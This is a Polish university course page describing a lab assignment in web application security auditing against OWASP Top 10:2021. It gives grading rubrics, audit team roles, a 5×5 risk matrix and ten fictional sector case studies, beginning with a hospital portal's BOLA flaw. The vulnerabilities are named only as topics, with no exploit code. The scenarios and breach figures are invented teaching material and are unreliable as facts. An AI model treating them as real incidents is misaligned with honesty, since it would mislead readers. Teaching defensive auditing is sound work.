Strona główna

Przedmiot zadań

Zgodnie z sylabusem przedmiotu Audyt bezpieczeństwa informacji (kierunek Informatyka i ekonometria, specjalność Bezpieczeństwo informacji, studia pierwszego stopnia, semestr 7; wykład 15 godz., laboratorium 24 godz., 5 pkt ECTS) zaliczenie zadania laboratoryjnego poświęconego aplikacji web (OWASP Top 10:2021) na ocenę 5.0 wymaga: przeprowadzenia strategicznego audytu bezpieczeństwa aplikacji web, zdekomponowania ustaleń w kanonicznym modelu 4C (Condition, Criteria, Cause, Consequence) z dochodzeniem przyczyn źródłowych metodą 5 Why i analizą diagramu Ishikawy, oszacowania ryzyka w 25-stopniowej matrycy 5 × 5 (ryzyko inherentne IR i rezydualne RR w skali 1–25) skorelowanej z punktacją podatności CVSS v3.1/v4.0 i wskaźnikami BCM (RTO, RPO, MTPD), opracowania projektu Załącznika Wykonawczego — Standardu Bezpieczeństwa Aplikacji Web z numerowanymi artykułami (ABAC/PBAC, szyfrowanie RLS/TDE, polityki CSP i HSTS, SBOM w formacie CycloneDX, bramki Security Quality Gates, izolacja sieciowa, sankcje dyscyplinarne), a także skonstruowania wiążącego trójfazowego Planu Działań Korygujących (CAP) w fazach 0–7, 30 i 90 dni z rolami RACI, mierzalnymi wskaźnikami KPI i KRI oraz jednostronicowego Podsumowania Zarządczego w formacie Pitch to Board z wyliczeniem ROSI.

Praca odbywa się w zespołach 2–3 osobowych, które tworzą Triadę Audytorską: Rola A – Kierownik audytu, audytor naczelny (zakres, metoda, spójność ustaleń), Rola B – Audytor bezpieczeństwa aplikacji i inżynier DevSecOps (wektory eksploatacji, testy), Rola C – Audytor ciągłości działania i zgodności (karta 4C, plan działań, wskaźniki). W zespole dwuosobowym zadania Roli C przejmują wspólnie studenci pełniący Role A i B. Wszystkie dziesięć studiów przypadku różni się branżą i reżimem regulacyjnym — od operatora usługi kluczowej NIS2 w ochronie zdrowia, przez administrację samorządową i rządową, szkolnictwo wyższe, handel elektroniczny, energetykę, transport kolejowy, sektor bankowy, zamówienia publiczne, ochronę zdrowia pracujących, aż po międzynarodowego operatora logistycznego — ale ma tę samą strukturę analityczną i ten sam układ dowodowy. Zespół wybiera jedno studium przypadku i pracuje nad nim przez cały czas ćwiczeń.

Wymogi formalne raportu

Dokument PDF o objętości 12–16 stron znormalizowanego maszynopisu A4 (przy założeniu 300 słów na stronę, czyli 3600–4800 słów), zawierający stronę tytułową z nazwą uczelni i wydziału, kierunkiem i specjalnością, nazwą przedmiotu, kodem Lab7, numerem i pełnym tytułem wybranego zadania oraz składem zespołu z przydzielonymi rolami analitycznymi, a w szczególności:

  • jednostronicowe Podsumowanie Zarządcze (Pitch to Board) z bilansem ryzyk IR i RR, ekspozycją na kary NIS2, DORA, RODO i KSC oraz na dyscyplinę finansów publicznych, podziałem zaleceń na Quick Wins i Inwestycje Strategiczne, wnioskowanym budżetem CAP i wyliczeniem ROSI;
  • metrykę podmiotu, zakres audytu i powiązane regulacje wraz z identyfikacją aplikacji i jej właściciela;
  • metodykę, ramy odniesienia i powierzchnię ataku — opis metodyki i ograniczeń oraz listę dziesięciu kategorii OWASP Top 10:2021;
  • wyniki testów w podziale na kategorie OWASP Top 10, ze wskazaniem dowodu, odtworzenia podatności i oceny ryzyka;
  • analizę ryzyka w matrycy 5 × 5 (IR i RR) skorelowaną z punktacją CVSS v3.1/v4.0 i wskaźnikami BCM (RTO, RPO, MTPD) oraz kartami ustaleń w modelu 4C z analizą 5 Why i diagramem Ishikawy;
  • projekt Załącznika Wykonawczego — Standardu Bezpieczeństwa Aplikacji Web z numerowanymi artykułami: walidacja danych, uwierzytelnianie, autoryzacja ABAC/PBAC, szyfrowanie RLS/TDE, polityki CSP i HSTS, SBOM CycloneDX, bramki Security Quality Gates, izolacja sieciowa i sankcje;
  • trójfazowy Plan Działań Korygujących (CAP) w fazach 0–7, 30 i 90 dni w ujęciu tabelarycznym: działanie, właściciel RACI, wskaźnik KPI/KRI, termin i budżet, wraz z wymaganiami bezpieczeństwa w cyklu dostarczania;
  • analizę zalet, wad, ryzyk wdrożeniowych i kosztów TCO oraz wykaz źródeł normatywnych, prawnych i literaturowych.

Referat kończy się ustną obroną w ostatnich 20 minutach zajęć: 15-minutowym wystąpieniem seminaryjnym i 5 minutami pytań krzyżowych, w których aktywny udział bierze każdy członek zespołu. Prowadzący wciela się w rolę Prezesa Zarządu, Dyrektora Szpitala, Marszałka Województwa, Prezesa Urzędu Zamówień Publicznych lub Komisarza Nadzoru (KNF, UTK, CSIRT NASK) i atakuje koszt proponowanych zabezpieczeń.

Kryteria oceny merytorycznej raportu i obrony

Kryterium Waga Co jest oceniane
Poprawność metodyki 4C, analizy 5 Why i diagramu Ishikawy 25% Rozróżnienie stanu faktycznego od objawu, wskazanie podstawy normatywnej lub prawnej każdej niezgodności, pokrycie wszystkich przyczyn kategorii 4M oraz dotarcie do przyczyny źródłowej, którą zespół jest w stanie usunąć.
Jakość analizy ryzyka 5 × 5, korelacji CVSS i parametrów BCM 25% Uzasadnienie wartości P i S, wyliczenie ryzyka inherentnego i rezydualnego, spójność ryzyka audytowego z punktacją CVSS, trafne wyznaczenie RTO, RPO i MTPD oraz opis kontroli mitygujących.
Jakość Standardu Bezpieczeństwa Aplikacji Web i planu CAP 25% Czy załącznik jest zapisany jako numerowane artykuły gotowe do przyjęcia i obejmuje DevSecOps oraz SBOM, a plan ma realne terminy 0–7, 30 i 90 dni, właścicieli wskazanych stanowiskami, mierzalne KPI i KRI oraz budżet.
Poziom Podsumowania Zarządczego i obrony ustnej 25% Czy Podsumowanie Zarządcze wskazuje decyzję do podjęcia, koszt, termin i ROSI, a w obronie zespół posługuje się terminologią normatywną i odpiera zarzuty o koszt i wykonalność zabezpieczeń.

Co odróżnia ocenę 5.0 od ocen niższych

  • Każde ustalanie ma reprodukowalny dowód i wektor eksploatacji opisany mechanizmem, a nie samą nazwą kategorii OWASP.
  • Ryzyko audytowe jest skorelowane z CVSS, więc zespół potrafi uzasadnić, dlaczego podatność o niższej punktacji jest dla tego podmiotu groźniejsza.
  • Przyczyny sięgają procesu, nie tylko kodu: analiza 4M dochodzi do braku bramek jakości, testów bezpieczeństwa w potoku dostarczania i zarządzania podatnościami.
  • Plan CAP ma mierzalne KPI i KRI sprawdzalne przez osobę inną niż wykonawca, a Podsumowanie Zarządcze rozdziela Quick Wins od Inwestycji Strategicznych i podaje wyliczenie ROSI.

Typowe błędy dyskwalifikujące lub obniżające ocenę

  • brak kanonicznego modelu 4C dla zidentyfikowanych niezgodności;
  • brak ryzyka rezydualnego (RR) w matrycy 5 × 5, brak korelacji z punktacją CVSS albo brak parametrów BCM (RTO, RPO, MTPD);
  • brak formalnego projektu Załącznika Wykonawczego — Standardu Bezpieczeństwa Aplikacji Web z numerowanymi artykułami;
  • Plan CAP bez podziału trójfazowego (0–7 / 30 / 90 dni) albo bez mierzalnych wskaźników KPI i KRI;
  • brak korelacji matrycy 5 × 5 z punktacją CVSS v3.1/v4.0;
  • Podsumowanie Zarządcze bez podziału zaleceń na Quick Wins i Inwestycje Strategiczne oraz bez wyliczenia ROSI;
  • pasywność któregokolwiek członka Triady podczas obrony;
  • rażące błędy merytoryczne, w tym błędne numerowanie kategorii OWASP Top 10:2021 lub powoływanie się na nieobowiązujący akt prawny.

Organizacja czasu ćwiczenia (90 minut)

00–15 min: podział ról w triadzie, planowanie zakresu i dekonstrukcja kategorii OWASP Top 10. 15–40 min: przegląd podatności w dziesięciu kategoriach, karty ustaleń 4C i matryca ryzyka 5 × 5 z wartościami CVSS i BCM. 40–70 min: opracowanie Standardu Bezpieczeństwa Aplikacji Web oraz planu działań korygujących w trzech fazach. 70–90 min: redakcja Podsumowania Zarządczego i obrona ustaleń przed komisją. Zegar w sekcji „Interaktywny harmonogram pracy triady audytorskiej (cztery fazy, 90 minut)” odlicza te cztery etapy.

Triada Audytorska prowadzi strategiczny audyt podatności aplikacji web według OWASP Top 10 w czterech fazach. Zegar odlicza 90 minut i podświetla bieżącą fazę. Role A, B i C przydzielane są na starcie i odpowiadają za zakres analizy, testy techniczne oraz ocenę zgodności.

90:00
Pozostały czas ćwiczenia (cztery fazy)
Faza 1 (00-15): Triada ról, planowanie zakresu i dekonstrukcja kateg
PrzedziałEtap pracy audytorskiejArtefakt wyjściowy
Minuty 00-15Triada ról, planowanie zakresu i dekonstrukcja kategorii OWASP Top 10 oraz ustalenie powierzchni ataku aplikacji web Rejestr wektorów eksploatacji i mapa powierzchni ataku
Minuty 15-40Przegląd podatności w dziesięciu kategoriach OWASP Top 10, analiza przyczyn pięcioma pytaniami, ocena ryzyka w matrycy 5 × 5 Karty ustaleń 4C i matryca ryzyka z wartościami wbudowanymi i rezydualnymi
Minuty 40-70Opracowanie standardu bezpieczeństwa aplikacji web oraz planu działań korygujących w trzech fazach Projekt procedury zabezpieczeń i tabela planu działań korygujących
Minuty 70-90Redakcja podsumowania zarządczego i obrona ustaleń przed kierownictwem Jednostronicowe podsumowanie zarządcze i obrona ustaleń
Triada Audytorska (podział ról) – poziom 5.0

Rola A

Kierownik audytu, audytor naczelny – Prowadzi audyt, ustala zakres i metodę, łączy wyniki w spójny raport. Odpowiada za ład zarządczy zgodny z NIS2, DORA, RODO, KRI, KSC i PCI DSS, za matrycę ryzyka oraz podsumowanie zarządcze przedstawiane kierownictwu.

Rola B

Audytor bezpieczeństwa aplikacji i inżynier DevSecOps – Dekonstruuje wektory technologiczne w dziesięciu kategoriach OWASP Top 10, sprawdza interfejsy REST i GraphQL, tokeny, zapytania, walidację danych, uwierzytelnianie i sesje oraz konfigurację serwerów. Przeprowadza kontrolowane testy bezpieczeństwa w środowisku testowym.

Rola C

Audytor ciągłości działania i zgodności – Prowadzi kartę ustaleń 4C, analizę przyczyn źródłowych metodą pięciu pytań, ocenę ryzyka rezydualnego i parametry ciągłości. Opracowuje plan działań korygujących z metrykami oraz weryfikuje zgodność z obowiązującym prawem i normami.

Dla każdej podatności z rejestru zespół podaje nazwę, aktyw krytyczny i kontrolę mitygującą, a następnie suwakami wybiera prawdopodobieństwo i skutek przed i po zastosowaniu kontroli. Moduł wylicza ryzyko wbudowane i rezydualne oraz oznacza wpisy w matrycy ryzyka.

Przed zastosowaniem kontroli (ryzyko inherentne, IR)
9 Ryzyko 9/25 – strefa żółta (warunkowo akceptowalne)
Po zastosowaniu kontroli (ryzyko rezydualne, RR)
3 Ryzyko 3/25 – strefa zielona (akceptowalne)
Wpisz zagrożenie, ustaw suwakiem prawdopodobieństwo i skutek, opisz kontrolę mitygującą, a następnie dodaj wpis do rejestru. Każdy wpis oznaczony jest w interaktywnej matrycy ryzyka w następnej sekcji.
0 zagrożeń w rejestrze
0 z ryzykiem rezydualnym w strefie czerwonej
0/25 najwyższe ryzyko inherentne
0/25 najwyższe ryzyko rezydualne
Zagrożenie Aktyw krytyczny P S IR Kontrola mitygująca P po S po RR Usuń
Rejestr jest pusty. Dodaj pierwsze zagrożenie przyciskiem powyżej.

Skala jest wspólna dla wszystkich studiów przypadku. Prawdopodobieństwo: 1 – zdarzenie nie wystąpiło w podmiocie i nie występuje w zbliżonych podmiotach; 2 – zdarzenie pojedyncze w ostatnich dwóch latach; 3 – zdarzenie występowało kilka razy w ostatnich dwóch latach; 4 – zdarzenie występuje regularnie; 5 – zdarzenie trwa lub jest niemal pewne. Skutek mierzy się w skali pięciu poziomów od pomijalnego (1) do katastrofalnego (5), przy czym poziom 5 oznacza zagrożenie dla życia ludzkiego, przerwania usługi kluczowej lub utraty suwerenności danych. Sumowanie wartości P i S zamiast iloczynu zaburza porównywalność ryzyka, dlatego poziom ryzyka liczy się jako iloczyn.

Kliknięcie komórki albo przesunięcie suwaków prawdopodobieństwa i skutku odczytuje poziom ryzyka i przypisaną strefę. Wartości ocenione dla podatności uzasadnia się w karcie ryzyka wraz z punktacją CVSS i parametrami ciągłości działania.

Matryca ryzyka 5 × 5: iloczyn prawdopodobieństwa (P) i skutku (S)
Skutek S \ P P = 1 P = 2 P = 3 P = 4 P = 5
S = 5 5 10 15 20 25
S = 4 4 8 12 16 20
S = 3 3 6 9 12 15
S = 2 2 4 6 8 10
S = 1 1 2 3 4 5
13–25 – strefa czerwona (niedopuszczalne) 5–12 – strefa żółta (warunkowo akceptowalne) 1–4 – strefa zielona (akceptowalne)
9 Ryzyko 9/25 – strefa żółta (warunkowo akceptowalne)
Przesuń suwaki lub kliknij komórkę matrycy, aby zobaczyć interpretację wybranego pola ryzyka.

Znaczenie pól matrycy w tym module

Pola wymagające decyzji zarządczej
13–25 (strefa czerwona)
Ryzyko niedopuszczalne. Działanie mitygujące jest obowiązkowe, a jego wdrożenie wchodzi do pierwszej fazy planu CAP. Jeżeli ryzyko wynika z zagrożenia z listy incydentów o znaczeniu strategicznym, decyzję podejmuje najwyższe kierownictwo podmiotu.
5–12 (strefa żółta)
Ryzyko warunkowo akceptowalne. Wymaga udokumentowanego uzasadnienia akceptacji oraz wyznaczenia terminu ponownej oceny nie dłuższego niż 90 dni.
1–4 (strefa zielona)
Ryzyko akceptowalne. Wymaga udokumentowanej decyzji o akceptacji przez właściciela procesu; nie oznacza braku działań.
Skala prawdopodobieństwa
1 – rzadkie
Słabość nie wystąpiła w podmiocie ani w podobnych podmiotach.
Wymaga nietypowego wejścia i warunku wyścigu.
2 – mało prawdopodobne
Wystąpiło raz w ostatnich dwóch latach, obecnie zablokowane.
Atak wymaga znajomości architektury.
3 – możliwe
Słabość pozwala na atak z sieci publicznej przy typowych błędach.
Brak potwierdzonego wykorzystania.
4 – prawdopodobne
Podatność powszechnie znana i aktywnie wykorzystywana.
Brak skutecznej poprawki lub opóźnione wdrożenie.
5 – częste
Słabość występuje w produkcji albo wrak blokuje aplikację.
Atak nie wymaga szczególnych uprawnień.
Skala skutku
1 – znikomy
Wpływ na jedno stanowisko, bez utraty danych.
Naprawa w ciągu doby bez zagrożenia dla innych użytkowników.
2 – mały
Zakłócenie dla jednej jednostki, dane osobowe zachowane.
Naprawa do tygodnia, nieliczni użytkownicy.
3 – średni
Zakłócenie usługi dla podmiotu, utrata części danych.
Przywrócenie w kilka godzin, zgłoszenie do organu.
4 – poważny
Przerwanie usługi kluczowej, utrata wiarygodności danych.
Zawiadomienie organu, naprawa planowa.
5 – katastrofalny
Utrata lub zafałszowanie historii danych.
Zagrożenie dla zdrowia ludzi, utrata zaufania do podmiotu.

Formularz składa się z dwóch części. Pierwsza służy do zapisu jednostronicowego podsumowania zarządczego w formule wystąpienia przed kierownictwem. Druga podaje strukturę raportu wraz z udziałem rozdziałów w objętości, aby suma mieściła się w 10 do 15 stronach. Wygenerowany szkic jest punktem wyjścia do redakcji.

Podsumowanie zarządcze (Pitch to Board) – wersja jednostronicowa

Jednostronicowe Podsumowanie Zarządcze jest finałowym artefaktem ćwiczenia (Faza 4, minuty 70-90). Wybierz zadanie i uzupełnij pola, a następnie wygeneruj wersję roboczą do dalszej edycji.

Struktura raportu i budżet stron (10–15 stron)

Rozdział raportu Strony Co musi się w nim znaleźć
Metryka podmiotu, zakres i powiązane regulacje 1–2 Identyfikacja aplikacji i jej właściciela, status podmiotu, cele audytu, wyłączenia, podstawy prawne: NIS2, DORA, RODO, KRI, KSC, PCI DSS i prawo zamówień, norma ISO/IEC 27001:2022.
Metodyka, ramy odniesienia i powierzchnia ataku 1–2 Opis metodyki i ograniczeń, lista dziesięciu kategorii OWASP Top 10, inwentaryzacja aplikacji, interfejsów, danych przetwarzanych i punktów wejścia.
Wyniki testów w podziale na kategorie OWASP 2–3 Opis ustaleń w każdej kategorii, ze wskazaniem dowodu, odtworzenia kroku, oceny poważności i rekomendacji dla każdej podatności.
Analiza ryzyka w matrycy 5 × 5 2–3 Karty ryzyka dla co najmniej czterech aktywów krytycznych: opis zagrożenia, uzasadnienie wartości, ryzyko wbudowane i rezydualne, punktacja oraz parametry ciągłości działania.
Karty ustaleń w modelu 4C 1–2 Stan faktyczny, kryterium, przyczyna źródłowa ustalona metodą pięciu pytań, konsekwencja, podstawa normatywna oraz kwalifikacja ustalenia.
Projekt standardu bezpieczeństwa aplikacji web 1–2 Wymagania dla twórców: walidacja danych, uwierzytelnianie, zarządzanie sesjami, kontrola dostępu na poziomie obiektu, szyfrowanie, obsługa błędów i logowanie.
Plan działań korygujących 1–2 Tabela działań w trzech fazach: natychmiastowej, do 30 dni i do 90 dni, z właścicielem wskazanym stanowiskiem, terminem, kosztem i wskaźnikiem skuteczności.
Bezpieczeństwo w cyklu dostarczania 1–2 Testy bezpieczeństwa zautomatyzowane w potoku dostarczania, przeglądy kodu, bramki jakości, szkolenia i nadzór nad dostawcami oraz podwykonawcami.
Podsumowanie zarządcze (jedna strona) 1 Decyzje, o które zespół wnosi, koszt i termin, ryzyko w razie zaniechania działań oraz pytanie wymagające decyzji kierownictwa.

Generator prowadzi przez każde ustalenie z karty 4C i wymaga podania przyczyny źródłowej metodą pięciu pytań, działania naprawiającego przyczynę, właściciela wskazanego stanowiskiem, terminu z przedziału 14 do 90 dni oraz mierzalnego kryterium skuteczności. Narzędzie sprawdza kompletność planu i wskazuje typowe błędy.

Analiza przyczyny źródłowej – pięć pytań „dlaczego”
Wpisz ustalony stan, uzupełnij pięć pytań „dlaczego” i dodaj działanie do planu. Generator podpowiada, jeśli przyczyna źródłowa brzmi jak powtórzenie ustalonego stanu zamiast jego wyjaśnienia.
Plan jest pusty.
0 działań w planie
0 działań bez kryterium skuteczności
0 działań bez właściciela
0 terminów spoza przedziału 14–90 dni
Nr Kwalifikacja Ustalony stan i przyczyna źródłowa Działanie naprawcze i zapobiegawcze Właściciel i weryfikacja Termin i faza Kryterium skuteczności Usuń
Plan jest pusty. Dodaj pierwsze działanie przyciskiem powyżej.

Jak poprawnie sformułować plan działań

  • Działanie naprawiające przyczynę, a nie objaw. Zamiast „wyłączyć konto serwisanta” zespół wpisuje „zablokować dostęp do strefy OT przez niezatwierdzone urządzenia i wprowadzić stację serwisową w strefie bezpiecznej”.
  • Właściciel wskazany stanowiskiem, które istnieje w strukturze organizacyjnej podmiotu. Imię i nazwisko podaje się w załączniku do planu, bo struktura kadrowa się zmienia.
  • Termin z przedziału 14–90 dni, przy czym ryzyko rezydualne w strefie czerwonej nie może czekać na fazę trzecią.
  • Kryterium skuteczności policzalne i sprawdzalne przez osobę inną niż wykonawca działania, z podaniem źródła danych.
  • Jedno działanie, jedna przyczyna. Jeśli opis przekracza dwa zdania, zespół dzieli wpis na dwa działania z osobnymi właścicielami i terminami.

Checklista ma cztery grupy po pięć punktów. Zaznacz pozycje faktycznie zrealizowane w raporcie, a nie zamierzone. Zaznaczenia zapamiętują się w pamięci przeglądarki, więc można wrócić do raportu bez utraty pracy. Licznik objętości sprawdza, czy tekst mieści się w 10 do 15 stronach.

Zaznaczono 0 z 20 punktów (0%)
Zakres, plan i metodyka
Dowody i ustalamia techniczne
Analiza ryzyka i karta ustaleń
Plan działań i podsumowanie zarządcze
0 słów w tekście
0 stron przy 300 słowach na stronę
0% wypełnienie checklisty
Wklej tekst raportu, aby otrzymać ocenę objętości.

Wybierz studium przypadku, aby przejść do karty zadania. Filtr sektorów działa jednocześnie na kafelki i na karty zadań poniżej; karty z innych sektorów zostają ukryte, a ich treść pozostaje w dokumencie. Kafelki zwężają wybór do jednej gałęzi gospodarki, ale metodyka audytu, matryca ryzyka i układ raportu są we wszystkich przypadkach takie same.

01
Wojewódzki Szpital Specjalistyczny i Centrum Onkologii w Olsztynie
Kontrola dostępu (A01:2021 – Broken Access Control, BOLA), protokoły DICOM Web i archiwalne bazy PACS w portalu onkoportal.
Zdrowie NIS2 RODO art. 9 DICOM/PACS OPA/ABAC
02
Urząd Marszałkowski Woj. Podkarpackiego i system e-Dotacje
Bezpieczeństwo kryptograficzne (A02:2021), zarządzanie kluczami HSM i protokoły transmisyjne w systemie e-dotacje.
Samorząd KRI TLS/HSM e-Dotacje TDE
03
Uniwersytet Medyczny w Białymstoku – rekrutacja i dziekanat
Wstrzyknięcia (A03:2021 – SQL, second-order SQLi, GraphQL) w centralnym systemie rekrutacyjnym i wirtualnym dziekanacie.
Nauka SQLi/GraphQL KRI RODO ORM
04
Superkoszyk Polska S.A. i Centrum Rozliczeń Transakcji
Błędy projektowe i logiki biznesowej (A04:2021): race conditions, manipulacja koszykiem i desynchronizacja bramki płatności.
e-commerce PCI DSS v4.0 DORA Race Condition STRIDE
05
Miejskie Przedsiębiorstwo Energetyki Cieplnej w Rzeszowie
Błędna konfiguracja zabezpieczeń (A05:2021) w portalu e-BOK i bramie webowej telemetrii SCADA.
Infra. krytyczna SCADA KSC/NIS2 IEC 62443 CIS
06
PKP Intercity S.A. i centralny system sprzedaży biletów e-Ic
Podatne i nieaktualne komponenty (A06:2021): Log4Shell, Spring4Shell i SBOM w formacie CycloneDX.
Transport Log4Shell KSC/NIS2 SBOM SLSA L3
07
Bank Komercyjny – Polskie Centrum Rozliczeń S.A.
Błędy identyfikacji i uwierzytelniania (A07:2021): credential stuffing, ominięcie MFA i sesje JWT.
Bankowość DORA KNF Credential Stuffing FIDO2
08
Urząd Zamówień Publicznych i platforma e-Zamówienia
Integralność oprogramowania i danych (A08:2021): niezaufane sieci CDN bez SRI, podatna deserializacja i zatrucie CI/CD.
Administracja PZP SRI Magecart NIS2
09
Centralny Ośrodek Medycyny Pracy i rejestr orzeczeń lekarskich
Rejestrowanie i monitorowanie zdarzeń bezpieczeństwa (A09:2021): retencja logów, architektura SIEM/SOC i detekcja anomalii.
Ochrona zdrowia SIEM/SOC RODO WORM KRI/NIS2
10
Trans-Cargo Polska S.A. i platforma CargoCloud (AWS EKS)
Podatności fałszowania żądań po stronie serwera (A10:2021, SSRF): eksploatacja IMDS i przejęcie ról AWS IAM.
Logistyka AWS SSRF/IMDS NIS2/DORA CIS Benchmark

Spis zadań laboratoryjnych (ocena 5.0)

  1. 01Wojewódzki Szpital Specjalistyczny i regionalne Centrum onkologii w Olsztynie (operator usługi kluczowej NIS2 / RODO art. 9 / wyroby medyczne MDR)
  2. 02Urząd Marszałkowski województwa Podkarpackiego w Rzeszowie i regionalny system beneficjenta funduszy unijnych (administracja publiczna / KRI / RODO / dyscyplina finansów publicznych)
  3. 03Uniwersytet medyczny w Białymstoku (szkolnictwo wyższe i nauka / KRI / RODO / prawo o szkolnictwie wyższym)
  4. 04Ogólnopolska platforma e-commerce 'Superkoszyk Polska S.A.' i Centrum rozliczeń transakcji (sektor handlu cyfrowego i fintech / PCI DSS v4.0 / DORA / ustawa o prawach konsumenta)
  5. 05Miejskie przedsiębiorstwo energetyki cieplnej w Rzeszowie (operator usługi kluczowej / infrastruktura krytyczna / KSC / NIS2 / pn-En IEC 62443 / KRI)
  6. 06PKP Intercity S.A. i centralny system sprzedaży biletów e-Ic (sektor transportu kolejowego / infrastruktura krytyczna / KSC / NIS2 / CER)
  7. 07Bank Komercyjny 'polskie Centrum rozliczeń S.A.' (sektor bankowy i finansowy / DORA / rekomendacja d i m KNF / EBA GL / prawo bankowe)
  8. 08Urząd zamówień publicznych i krajowa platforma e-Zamówienia (administracja rządowa / prawo zamówień publicznych / KRI / NIS2)
  9. 09Centralny ośrodek medycyny pracy i rejestr orzeczeń lekarskich w Łodzi (ochrona zdrowia / RODO art. 9, 32, 33 / KRI / NIS2)
  10. 10Międzynarodowy operator logistyczny 'Trans-Cargo Polska S.A.' (sektor transportu i infrastruktury chmurowej AWS / NIS2 / DORA / CIS benchmark)

Kliknij nagłówek zadania, aby je rozwinąć lub zwinąć. Przyciski poniżej rozwijają lub zwijają wszystkie karty. Numery w kolorze czerwonym odsyłają do poszczególnych zadań. Wewnątrz każdej karty sekcje tabelaryczne można ukryć przyciskiem „Ukryj tabelę”.

01
Wojewódzki Szpital Specjalistyczny i regionalne Centrum onkologii w Olsztynie (operator usługi kluczowej NIS2 / RODO art. 9 / wyroby medyczne MDR)
Zwiń

Temat: Strategiczny Audyt Kontroli Dostępu (A01:2021 - Broken Access Control / BOLA), Protokołów DICOM Web i Archiwalnych Baz PACS w Portalu Onkoportal: Zbieżność NIS2, RODO art. 9, Model 4C, Ryzyko 5X5 i Trójfazowy Plan CAP

Wojewódzki Szpital Specjalistyczny / Centrum Onkologii wOlsztynie (NIS2 / RODO art. 9 / MDR)Audyt A01:2021 Broken Access Control / BOLA (formuła 90 min)1JWT RS256 bezautoryzacjiobiektowej BOLA/IDORw REST API i DICOMWeb WADO-RS2Zmiana record_id istudy_uid, brak RateLimiting w KongGateway3Eksfiltracja 45 000raportów i 12 000serii TK/MR (IR=25,CVSS 9.8)4OPA ABAC/PBAC + RLS +UUID v4 + blokadakonta + CAP 0-7/30/90dniSchemat strategicznego audytu podatności Broken Access Control BOLA w szpitalnym portalu onkologicznym:dekompozycja zapytań REST API i DICOM Web, architektura Zero-Trust, model 4C, matryca ryzyka 5x5 oraz
Schemat strategicznego audytu podatności Broken Access Control BOLA w szpitalnym portalu onkologicznym: dekompozycja zapytań REST API i DICOM Web, architektura Zero-Trust, model 4C, matryca ryzyka 5x5 oraz Trójfazowy Plan Działań Korygujących CAP
Cel zadania i powiązanie z efektami kształcenia

Głównym celem strategicznego zadania laboratoryjnego na ocenę 5.0 jest przeprowadzenie zaawansowanego, symulowanego audytu mechanizmów kontroli dostępu i autoryzacji obiektowej (kategoria OWASP Top 10:2021 - A01:2021 Broken Access Control oraz OWASP API Security Top 10 - API1:2023 Broken Object Level Authorization - BOLA) w zintegrowanym środowisku e-zdrowia podmiotu leczniczego o statusie Podmiotu Kluczowego w rozumieniu Dyrektywy NIS2. Studenci badają zintegrowany portal pacjenta 'OnkoPortal', połączony ze Szpitalnym Systemem Informacyjnym (HIS), Radiologicznym Systemem Informacyjnym (RIS) oraz chmurowo-lokalnym archiwum obrazów diagnostycznych PACS (Orthanc/dcm4chee), w którym zidentyfikowano podatność masowego pobierania dokumentacji histopatologicznej oraz trójwymiarowych skanów tomografii komputerowej (TK) i rezonansu magnetycznego (MR) poprzez manipulację identyfikatorami w zapytaniach REST API oraz protokołach DICOM Web (WADO-RS). Zadanie wymaga zastosowania kanonicznego modelu 4C (Condition, Criteria, Cause, Consequence), przeprowadzenia analizy ryzyka w 25-stopniowej matrycy 5x5 skorelowanej z punktacją podatności CVSS v3.1/v4.0 oraz parametrami ciągłości działania BCM (RTO=15m, RPO=0s, MTPD=1h), skonstruowania Trójfazowego Planu Działań Korygujących (CAP) ze wskaźnikami KPI i KRI, opracowania sformalizowanego Załącznika Wykonawczego (SOP) definiującego reguły autoryzacji opartej na atrybutach (ABAC/PBAC) z wykorzystaniem Open Policy Agent (OPA) oraz przygotowania 1-stronicowego Podsumowania Zarządczego (Executive Summary - "Pitch to Board") dla Dyrekcji Szpitala.

Powiązanie z sylabusem i efektami kształcenia na ocenę 5.0:

  • W1 Zaawansowana ochrona danych szczególnej kategorii (art. 9 RODO), tajemnicy lekarskiej, przepisów Ustawy o prawach pacjenta oraz odpowiedzialności karnej z art. 160 i 267 KK.
  • W2W3 Rygorystyczna korelacja wymagań Dyrektywy NIS2 (art. 21 - cyberbezpieczeństwo w sektorze zdrowia), normy PN-EN ISO/IEC 27001:2022 (kontrole A.8.2, A.8.3, A.8.28), normy ISO 27799 (bezpieczeństwo informacji w zdrowiu), standardu OWASP ASVS v4.0.3 (Poziom L3 - Sekcja V4 Kontrola Dostępu) oraz rozporządzenia MDR (ochrona oprogramowania medycznego SaMD).
  • U1 Projekt architektury Zero-Trust dla interfejsów API, wdrożenie dynamicznej autoryzacji kontekstowej ABAC/PBAC z silnikiem OPA oraz polityk PostgreSQL Row-Level Security (RLS).
  • U2 Bezbłędna identyfikacja i formalna kwalifikacja uchybień w kanonicznym modelu 4C z precyzyjnym powołaniem artykułów prawa i norm.
  • U3 Kwantyfikacja ryzyka w matrycy 5x5 dla wektorów eksfiltracji danych onkologicznych i manipulacji wynikami badań (IR=25, CVSS=9.8, powiązanie z parametrami BCM).
  • U4 Opracowanie Trójfazowego Planu Działań Korygujących (CAP) ze wskaźnikami KPI/KRI, projektu SOP oraz 1-stronicowego briefingu zarządczego (Pitch to Board).
  • K1K2K3 Niezależność audytorska, wysoka etyka w kontakcie z dokumentacją onkologiczną, odporność na presję autorytetu medycznego i profesjonalizm prezentacji.
  • Powiązanie z wykładem: Wyk1 (Ład zarządczy e-zdrowia), Wyk2 (Zasady audytowania ISO 19011), Wyk3 (Kontrole A.8.2 i A.8.28 ISO 27001), Wyk4 (RODO art. 9 i NIS2), Wyk5 (Matryca ryzyka 5x5 i BCM), Wyk6 (Analiza ruchu REST API i DICOM Web), Wyk7 (Model 4C, 5 Why, Trójfazowy CAP i Pitch to Board).
Scenariusz sytuacyjny organizacji

Wojewódzki Szpital Specjalistyczny i Regionalne Centrum Onkologii w Olsztynie jest podmiotem leczniczym o statusie Podmiotu Kluczowego w rozumieniu Dyrektywy NIS2, dysponującym 850 łóżkami, 22 klinikami onkologicznymi, poradniami chemioterapii oraz Zakładem Diagnostyki Obrazowej wykonującym rocznie ponad 90 000 zaawansowanych badań TK, MR, PET-CT i mammografii cyfrowej. Szpital wdrożył zintegrowaną platformę internetową 'OnkoPortal', która umożliwia pacjentom i lekarzom POZ podgląd wyników badań histopatologicznych, pobieranie opisów biopsji oraz bezpośredni streaming trójwymiarowych tomogramów w formacie DICOM za pośrednictwem wbudowanej przeglądarki Web-PACS opartej na silniku Orthanc.

Stan faktyczny w obszarze mechanizmów kontroli dostępu i incydentu bezpieczeństwa:

